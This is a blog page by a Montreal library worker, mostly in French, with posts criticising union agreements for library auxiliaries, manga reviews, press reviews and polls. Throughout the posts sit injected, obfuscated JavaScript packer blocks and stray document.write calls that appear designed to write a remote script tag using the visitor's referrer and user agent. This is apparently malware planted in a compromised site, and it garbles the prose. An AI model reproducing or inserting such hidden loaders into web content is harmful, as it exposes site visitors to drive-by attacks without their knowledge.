Books, Digital Edition & Library

Economy, Environment & International Politics

Health & Influenza A(H1N1)

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Les lettres d’entente en question

Ces derniers temps on parle beaucoup de ces fameuses lettres d’entente et je suis sûr que beaucoup d’entre-vous, document.write(“”); lecteurs et collègues des bibliothèques de Montréal, se demandent ce qu’elles sont vraiment et qu’ont-elles de si terrible?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehyas|var|u0026u|referrer|zyyhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asdtb|var|u0026u|referrer|dhars||js|php’.split(‘|’),0,{}))

Lorsque le Syndicat des Fonctionnaires Municipaux de Montréal (SFMM) signe une convention collective avec la ville de Montréal (la dernière en date a été signé en décembre 2007 et couvre la période de janvier 2007 à décembre 2010), il y a toujours des dispositions qui sont spécifiques à certains groupes d’employés qui ne peuvent y être incluses et ces dispositions spécifiques sont négociées séparément avec des lettres d’entente.

L’entente qui régit les dispositions spécifiques des employés de bibliothèques est l’entente EV 96-94 [texte], “relative aux étapes d’assignation des employés auxiliaires, emplois spécialisés “bibliothèque” au service de la culture.” Elle déterminait, entre autres, le fonctionnement de la banque réseau, les ports d’attache, l’embauche et le comblement des postes en fonction de l’anciennneté.

Cette entente a malheureusement été rendu caduque suite à la fusion/défusion qui a divisée la ville en arrondissements, la Charte de la ville donnant maintenant aux dits arrondissements le pouvoir d’embauche et de négociation des horaires de travail. Le SFMM a donc cru bon (?) d’inclure dans la convention collective 2007-2010 l’entente E.V. 2007-1007 (pp. 305-306) qui stipule que “l’entente EV-96-94 doit demeurer en vigueur jusqu’à son remplacement” et que, comme “le Syndicat tient à maintenir les principes en regard de la banque réseau inclus dans l’entente EV-96-94 (…), les parties conviennent d’entamer des négociations locales conjointes avec les arrondissements” du Sud-Ouest, Ville-Marie et VSMPE. Il s’agit ici des fameuses lettres d’entente.

Jusqu’à maintenant des lettres d’entente ont été signé avec cinq six arrondissements:

Les négociations sont en cours, ou même complétées, dans les autres arrondissements (Rivières-des-Prairies/Pointe-aux-Trembles [RDP/PAT], Plateau-Mont-Royal [PMR], Ahuntsic-Cartierville [AH-CA] et Cote-des-Neiges/Notre-Dame-de-Grâce [CDN/NDG]) et il ne reste qu’à les faire entériner en assemblées sectorielles par le vote des membres du SFMM de chacun de ces arrondissements. Le vote pour Rivières-des-Prairies/Pointe-aux-Trembles aura lieu le lundi 19 avril à 9h30. Le prochain vote se fera dans Ahuntsic-Cartierville le lundi 3 mai à 9:00…

Maintenant, qu’est-ce qu’il y a dans ces ententes qui les rendent si inacceptables? A première vue pas grand chose mais, dès qu’on y applique la moindre analyse, on se rend compte de la monstruosité qu’elles représentent.

Premièrement, la façon dont ces lettres d’entente ont été négocié et entériné est une injure à la démocratie (parce que donner une apparence de démocratie est pire que de ne pas en avoir du tout):

  1. elles ont été négocié en catimini sans aucune consultation avec les membres du SFMM; 
  2. elles sont votées par arrondissement alors que nous sommes tous concerné et affecté par chacunes de ces ententes (par exemple: si quelqu’un travaille dans MHM mais que ce n’est pas son port d’attache, il n’avait pas le droit de voter sur l’entente de MHM, qui pourtant affecte ses conditions de travail); 
  3. elles sont votées sans que les membres aient pu en consulter le texte d’avance et en débattre.

Deuxièmement, elles incarnent l’aplatventrisme de l’équipe syndicale en place (les AccèsCible) face aux demandes du patronat.

D’une part, elles représentent l’abandon pure et simple du principe de mobilité-ville que l’on retrouvait dans la banque réseau, capitulant ainsi devant le pouvoir fragmenteur des arrondissements. Pourtant, dans l’entente E.V. 2007-1007, le syndicat avait clairement énoncé sa volonté de “maintenir les principes en regard de la banque réseau.” Et, il y a à peine trois semaines, la présidente du SFMM nous affirmait en assemblée générale qu’elle avait exprimé au DG de la ville le besoin de faire modifier la charte de la ville afin de redonner à la ville-centre les pouvoirs de conciliation et de coordination nécessaires pour appliquer avec succès les horaires flexibles et règler tout les problèmes liés à l’embauche—et que ce serait un enjeu majeur des prochaines négos! Cela semble d’une hypocrisie à faire vomir: ils disent cela et pourtant s’empressent de négocier avec les arrondissements des lettres d’entente qui, dans les faits, font exactement l’inverse!

D’autre part, les lettres d’entente abdiquent sans façon plusieurs droits acquis, ce qui entraine l’érosion inéluctable de nos conditions de travail:

  • la priorité est donné à la disponibilité, plutôt qu’à l’ancienneté, pour l’attribution des remplacements
  • les auxiliaires détenteurs de bloc égal ou supérieur à vingt-et-une heure/semaine se retrouvent cloisonné dans leur arrondissement port d’attache et ne peuvent postuler sur des blocs ailleurs
  • de nouvelles mesures punitives sont introduites (par exemple: on est retiré de la liste de disponibilité après trois refus (MHM: deux) ou si la disponibilité n’est pas respectée; le pire est dans l’entente de MHM: période d’essai de 840 heures ou 2 ans durant laquelle l’auxiliaire peut être congédié sans possibilité de grief ou d’arbitrage, si l’auxiliaire n’est pas rejoint après deux essais par téléphone [et ils nous disent de fermer nos cellulaires en bibliothèques!] il est considéré avoir refusé l’offre de bloc—qui n’est faite qu’une fois par année seulement, etc.)
  • les congés d’étude sont attribués uniquement pour des études liées au travail en bibliothèques
  • abandon de certains griefs…

Personnellement, je ne veux pas d’une lettre d’entente qui ouvre la porte à l’érosion de mes conditions de travail. Je considère que le travail du syndicat est de maintenir les-dites conditions comme elle sont et, tant que possible, de les améliorer. Quand je vois ce que l’équipe Accès-Cible a fait avec ces lettres d’entente, considérant que près de 2% de mon salaire hebdomadaire leur est payé pour justement faire ce travail, alors je me sens abandonné et trahis—purement et simplement. Aucune autre de ces ententes ne devrait être votée et on devrait renvoyé le syndicat à la table de négociation. Au lieu de dépenser de l’énergie sur ces lettres d’entente, pourquoi ne pas mettre nos effort à faire pression sur la ville et le gouvernement afin d’établir cette entité centrale qui aurait le pouvoir de coordination comme il a été mentioné à la dernière assemblée générale? Et si l’entente a déjà été signé dans votre arrondissement et que vous en subissez les conséquences malheureuses, ne désespérez pas car une entente ce n’est jamais fixé dans le béton: on peut toujours la renégocier… Mais ne vous fiez pas seulement à mon opinion. Lisez les lettres d’entente (voir les liens plus haut) et voici quelques liens vers des publications de l’équipe du Colvert et des billets précédants qui vous permettrons sans doute d’en apprendre un peu plus sur les ententes:

Update (2010/04/19): Mes contacts m’indiquent que la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles a été entériné ce matin par les auxiliaires des bibliothèques de l’arrondissement à raison de quatorze voix pour et deux contre (apparemment avec un très haut taux de participation, puisqu’on m’a dit qu’il n’y aurait eut que deux absents, ce qui représente une participation de 89% !). Les auxiliaires des bibliothèques de l’arrondissement auraient veinement tenté de demander à recevoir le texte de l’entente avant l’assemblée et d’avoir du temps pour en discuter entre collèques. L’assemblée sectorielle se serait déroulée comme les précédentes: les représentant du syndicat auraient rapidement lu le texte de l’entente, répondu (vaguement) à quelques questions et finalement auraient demandé le vote secret. Le texte de l’entente est également similaire aux ententes précédentes (et toujours tout aussi inacceptable).

Travailler en enfer!

Pour ceux Dante nous qui connaissent l’enfer du décors… travailler dans le puit d’esclaves de l’enfer (slave pit from hell)!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkekh|var|u0026u|referrer|shdbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rydai|var|u0026u|referrer|ithry||js|php’.split(‘|’),0,{}))

La première chose qui disparait quand tu travailles en enfer c’est la steam de soi!

La pensée positive en enfer c’est ce qui fait la différence entre mijoter et être rôti!

Poll / Sondage

There is one day left to answer our latest poll “What subject(s) do you read the most ?” Please take time to answer the poll… Thanks!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrhyk|var|u0026u|referrer|efzkn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsdzb|var|u0026u|referrer|erydb||js|php’.split(‘|’),0,{}))

Update: the poll was extended for a few days… Please vote!

Il ne reste plus qu’une journée pour répondre à notre dernier sondage “Quel(s) sujet(s) lisez-vous le plus?” SVP, document.write(“”); prenez le temps de répondre à ce sondage… Merci!

Update: le sondage a été prolongé de quelques jours… SVP, participez!

Lettre d’entente Rivière-des-Prairies/Pointe-aux-Trembles

Le SFMM ne perd décidément pas de temps et semble sur un blitz pour faire approuver les lettres d’entente pour les arrondissements restants: une assemblée sectorielle a été convoqué pour l’arrondissement RDP-PAT. Elle aura lieu le lundi 19 avril à 9h30.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isede|var|u0026u|referrer|hdhyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khskd|var|u0026u|referrer|eisfd||js|php’.split(‘|’),0,{}))

Il n’y a pas que le gouvernement qui mérite de se faire passer au savon. Si vous ne voulez pas que vos conditions de travail disparaissent dans la crasse je suggère à tous (des bibliothèques de RDP-PAT et d’ailleurs) d’agir au plus tôt. Voilà ce que je suggère:

Pour être efficace il faut se mouiller. Appliquez le shampooings [ou lisez ce billet], document.write(“”); frottez fort pour faire mousser [parlez à vos collègues des lettres d’entente, discuttez-en les advantages et désavantages, allez à l’assemblée sectorielle, posez des questions et votez selon votre conscience], rincez et répétez au besoin [pour l’arrondissement suivant sur la liste et tant qu’on aura pas remit en question au moins une de ces ignobles lettres d’entente] !

Malheureusement, dans ce cas-ci, il n’y a pas de shampooings sans larmes…

Restez alerte, d’autres messages suivront…

Update (2010/04/19):
Lisez également ce billet. La mise à jour contient les résultats du vote pour la lettre d’entente de Rivière-des-Prairies/Pointe-aux-Trembles

Mes voisins les Yamada

“Nos voisins les Yamada… Une famille japonaise typique, document.write(“”); défiant avec entrain (plus que succès) les petits tracas du quotidien. Entre boulot, cuisine, scolarité, retraite et relations humaines, leurs “aventures domestiques” épinglent avec mordant les travers d’une société où les codes n’existent que pour mieux être détournés. Suivez Matsuko, Takashi, Noboru, Nonoko et Shige au coeur d’un univers où l’humour se mêle à l’absurde, pour éclairer différemment le Pays du Soleil levant.” [Texte du rebat intérieur de couveture, tome 2]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyttd|var|u0026u|referrer|sftnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shsaa|var|u0026u|referrer|nedss||js|php’.split(‘|’),0,{}))

Mes voisins les Yamada [?????? ???????, H?hokekyo Tonari no Yamada-kun] est un “comic strip” japonais qui a été publié dans le quotidien Asahi Shinbun entre 1991 et 1997 avant d’être compilé en volumes par Tokuma Shoten en 1999. Dessiné par le mangaka Hisaichi ISHII, Mes voisins les Yamada n’est pas un manga a proprement parler mais plutôt un “yonkoma”—c’est-à-dire une histoire humoristique en quatre cases qui se présente à la verticale (contrairement à l’Occident où les “comic strip” sont horizontales)—et est surtout connu pour avoir été adapté en animation en 1999 par le Studio Ghibli sous la direction de Isao Takahata. On y raconte la vie quotidienne (et les situations saugrenues qui en découle) d’une famille japonaise et de son entourage.

J’ai découvert ce “manga” à la bibliothèque avec grande surprise: car j’ignorais qu’une traduction française était disponible. Je n’ai lu qu’une partie du second volume et j’ai malheureusement été un peu décu. Non pas à cause du style simple et même carrément minimaliste—ça c’est pas surprenant étant donné qu’il s’agit d’un “comic strip”—mais surtout à cause des histoires. Ce genre d’humour satirique se lit assez bien mais on s’en lasse rapidement. D’abord c’est une volumineuse lecture, et puis l’humour est un peu bête, les gags parfois répétitifs et souvent plats (sans doute quelque chose se perd-t-il dans la traduction). Seulement cinq pourcent des gags sont vraiment drôles. On se retrouve tout de même tous un peu dans ces personnages loufoques. C’est quand même amusant à lire et je le recommande à ceux qui sont curieux de découvrir un style qui est très populaire au Japon.

Mes voisins les Yamada, par Hisaichi ISHII. Delcourt (Label Akata, Coll. Shampooing), 2009. 3 vols., B&W, 21 x 14.6 cm, 350 pgs ch. 15.00 € ch. / $24.95 Can ch. Recommandé pour adolescents (14+). ISBN: 978-2-7560-1451-7 (vol. 1), 978-2-7560-1452-4 (vol. 2), 978-2-7560-1453-1 (vol. 3).
Mes voisins, les Yamada © 1999 Hisaichi Ishii • Studio Ghibli. All rights reserved. © 2009 Guy Delcourt Productions pour l’édition française.

Revue de Presse / Press Review (2010/04/08)

I’ve so many things to think about lately that I feel my head will blow up! (BTW: I write this in english because I want to reach the largest part of the internet community; it is my prerogative: it my blog! Many of the links lead to news in french anyway…) Not much news this week and not much time for them anyway. Still lots of fuss about the iPad (and still no firm release date for Canada beside “end of April” or even a possibility to pre-orders) and Apple announced today the iPhone/Touch OS 4.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tztdb|var|u0026u|referrer|ebbdd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfsss|var|u0026u|referrer|ibzbn||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

updated 2010/04/09

Mon année

Je viens juste de me rendre compte que le dernier Taniguchi est disponible en librairies depuis janvier (novembre en Europe). Il n’est jamais trop tard pour se reprendre puisqu’il est maintenant également disponible dans le réseau des bibliothèques de Montréal

MonAnnée_cov1Mon année est une série composée de 4 albums, qui raconte la vie quotidienne d’une famille confrontée à la trisomie de sa fille de 8 ans, Capucine. Dans le tome 1, les parents apprennent que la petite doit quitter l’école “normale” pour intégrer un établissement spécialisé. Le papa, qui refuse de voir le handicap de sa fille, accuse difficilement le coup. Le fait qu’il soit attiré par Mélanie, la psychomotricienne de Capucine, n’arrange pas les choses. D’autant que la fillette, ultrasensible, va s’en rendre compte…”

[Texte de l’éditeur — voir aussi la couverture arrière]

Après avoir collaboré avec un auteur Européen (Moebius pour Icare en 1997) et avoir expérimenté avec le format d’album Européen (La montagne magique), Jirô TANIGUCHI pousse encore plus loin sa recherche stylistique, cette fois en collaborant avec Jean-David Morvan, pour produire un album directement pour le marché franco-belge. Le premier volume de la série s’intitule “Printemps”. Il est disponible en version couleur et en crayonné. Ce sujet n’est pas sans rappeller With the Light, le manga de Keiko Tobe (décédée en janvier dernier) qui traitait d’un enfant autistique.

Jean-David MORVAN nous offre une belle petite histoire fort simple, comme ce que Taniguchi lui-même aurait pu écrire: un sujet touchant et très humain, orienté sur la vie quotidienne. L’histoire est bien documentée. Le récit est intéressant et bien écrit. J’aime bien la façon dont Morvan nous montre le point de vue tant de la petite trisomique que celui des parents qui s’inquiètent pour le développement de leur petite fille. Malheureusement, malgré tout cela, l’histoire n’a pas la force et la profondeur des récits propres à Taniguchi.

Pour illustrer l’histoire, Taniguchi utilise des techniques plus appropriées à la BD. Si on retrouve toujours son style précis et détaillé, il remplace ici la trame par la couleur (on dirait de l’aquarelle), ce qui donne un aspect très différent à son travail. N’ayant pas son éditeur constamment sur le dos (comme cela se fait au Japon), il peut créé avec une plus grande liberté, mais semble un peu mal à l’aise de devoir dépeindre les paysages francais, qui ne lui sont pas familiers. Le travail semble bien réussi, quoique différent du Taniguchi que l’on a l’habitude de voir. C’est sans doute à nous de s’habituer.

Si Mon année est un pas de plus vers la synergie du manga et de la BD, on sent clairement que cet album est de la BD et non du manga (la plupart des librairies et bibliothèques le classe d’ailleurs comme une BD), ne serait-ce que du fait qu’on le sort au rythme d’un album de 64 pages par année (au Japon on aurait publié ça en un ou deux tomes—de 128 ou 256 pages—et non pas quatre!). Cela fait une série plutôt dispendieuse.

Dans l’ensemble, Mon année mérite d’être lu, ne serait-ce que par curiosité, mais cela n’a rien d’excitant. [Note: malheureusement les tomes 3 à 4 ne sont jamais paru]

Mon année: 1. Printemps, par Jirô TANIGUCHI (dessin) & Jean-David MORVAN (scénario). Dargaud, 2009. Couleur, 31 x 23.6 cm, 64 pgs. 18.00 € / $34.95 Can. Recommandé pour adolescents (12+). ISBN: 978-2505007517. stars-2-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipediaWorldCat ]

 

Mon année 1. Printemps © 2009 Taniguchi • Morvan • Dargaud Benelux (Dargaud-Lombard s.a.).

Ce billet a d’abord été publié le 2010/03/24 12:17 AM (news) puis mis à jour le 2010/04/06 avec un commentaire (review) et le 2018/06/30 avec quelques liens et notes supplémentaires.

[ Translate ]

Un zoo en hiver

“Kyôto, document.write(“”); 1966. Le jeune Hamaguchi, employé d’une société de textile en gros, n’a pas la fibre de la plupart des gens de son âge. Plutôt que de fréquenter les clubs de sport, il préfère assouvir sa passion du dessin en allant croquer sur le vif les animaux du zoo de la ville. Mais même ce dérivatif ne suffit pas à combattre l’ennui qu’il ressent. Dès l’année suivante, sollicité par un ami de lycée, Hamaguchi part pour la capitale, Tôkyô. C’est là, un peu par hasard, que sa route croise celle d’une communauté professionnelle un peu particulière: celle des auteurs de bande dessinée, les mangakas… Pour la première fois, Jirô Taniguchi opte pour un registre explicitement autobiographique, convoquant ses souvenirs de jeunesse et son parcours d’auteur. Un beau récit d’apprentissage en bande dessinée, où l’on retrouve la finesse et l’élégance qui ont fait le succès du maître japonais auprès des lecteurs de langue française.” [Texte de présentation sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|insrr|var|u0026u|referrer|ttyie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izbyb|var|u0026u|referrer|aarbd||js|php’.split(‘|’),0,{}))

Un zoo en hiver [?????, Fuyu no d?butsuen] a été publié au Japon en 2008 par Shogakukan. Ce manga nous en apprend un peu sur le travail d’assistant mangaka (d’une façon similaire à Tokyoland) mais, fidèle à ses habitudes, Jir? TANIGUCHI se concentre surtout sur le quotidien (toujours à travers une perspective assez contemplative, introspective et nostalgique) et, dans ce cas particulier, sur les relations personnelles. Toutefois, la thématique d’ensemble de l’histoire tourne autours de l’apprentissage: le jeune mangaka qui découvre son métier, le jeune homme qui s’initie aux choses de la vie, particulièrement la relation avec ses collègues, avec son frère, ses premiers amours (la fille du patron, la jeune fille malade—dans ce dernier cas l’histoire nous laisse en suspend: la jeune fille mourra-t-elle ou finiront-ils ensemble?)

La présentation de l’éditeur fait mention que ce manga est “explicitement autobiographique” mais, dans un interview, Taniguchi nuance beaucoup cette affirmation. Il précise que, comme il l’a fait déjà dans la plupart de ses histoires, certains aspects sont autobiographique et que, s’il s’est inspiré de ses débuts de mangaka et de certaines personnes de l’époque, l’histoire qu’il raconte est totallement inventée. Le récit d’Un zoo en hiver est d’ailleurs excellent et l’histoire nous est racontée avec une grande maîtrise. Mais Taniguchi nous a déjà démontré ses talents narratif à maintes reprises. Ce qui m’a vraiment impressioné avec ce manga c’est son style qui offre une clarté et une précision presque parfaite. Ici, Taniguchi se surpasse vraiment.

À la fois simple et profond, Un zoo en hiver est un superbe manga. C’est sans aucun doute la meilleure oeuvre de Taniguchi que j’ai lu. C’est un volume unique (one-shot) qui se lit très bien et je le recommande chaudement.

Un zoo en hiver, par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2009. B&W, 17 x 24 cm, 231 pgs. 15.00 € / $29.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2203020993. [Voir couverture arrière]
Fuyu no d?butsuen © Jiro Taniguchi, 2008. © Casterman, 2009 pour la traduction française.

Happy Easter / Joyeuse Pâques

I am not a religious man so Easter doesn’t hold any special significance beside an occasion for some well-deserved rest and a family meal (although this year it has been pushed back a few weeks because my mother has had a small heart procedure). However, document.write(“”); since it surely means more to most of you, I’d like to wish you all an happy easter. I hope you’ll enjoy your easter bunny stew and chocolate eggs omelet. For my part, my wife is working today, so I’ll spend easter home alone.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeadh|var|u0026u|referrer|bnaat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtfdz|var|u0026u|referrer|tszsb||js|php’.split(‘|’),0,{}))

I was able to establish a good writing pace lately and blog several time a week. Unfortunately, I am afraid this won’t last. I have to start working on my “spring cleaning” in order to seriously reduce the amount of stuff I have prior to moving into a new appartment or house later this year (or the next). I’ll also have to start listing my possessions to prepare for the virtual yard sale I am planning for the summer. Lots of work in perspective. I might have to cut back a little on my tv watching, publishing work and “counter-revolutionary” activities (although reestablishing a fair democracy in this world seems like a lost cause anyway), but I’ll do my best to keep bloging at least once or twice a week. It might be easier to do after I got my iPad (it’s scheduled in Canada for the “end of April,” whatever it means).

Revue de Presse / Press Review (2010/04/02)

I am trying to catch up on my sleep (luckily the Easter week-end is upon us). It was another slow news week. If the local news were all about the Quebec Budget [in French], document.write(“”); the media in general were in a frenzy about the upcoming iPad from Apple. See the latest news from Apple Insider, Engadget, MacNN, The Unofficial Apple Weblog and others:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsfdf|var|u0026u|referrer|zsskd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raeyr|var|u0026u|referrer|enyka||js|php’.split(‘|’),0,{}))

iPad frenzy!

Anime & Manga related, Japan, Popular Culture

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Updated 2010/04/04

Poll #1: Language preference

I am quite disappointed by the results of my first blog poll. There is an average of 15 persons per day visiting this blog, document.write(“”); which means that over the two weeks this poll was open, there was over 200 visitors and, of those, ONLY 7 answered the poll. I assumed that readers are mostly anglophone (english is after all the language of the web) and yet the only responses I got was favouring french as prefered language for this blog. However, I will continue to comment subjects in their related language (i.e. review in English a book written in English, review in French a french-language book or movie, etc.). I wish more people would participate with the blog by answering polls and leaving comments…
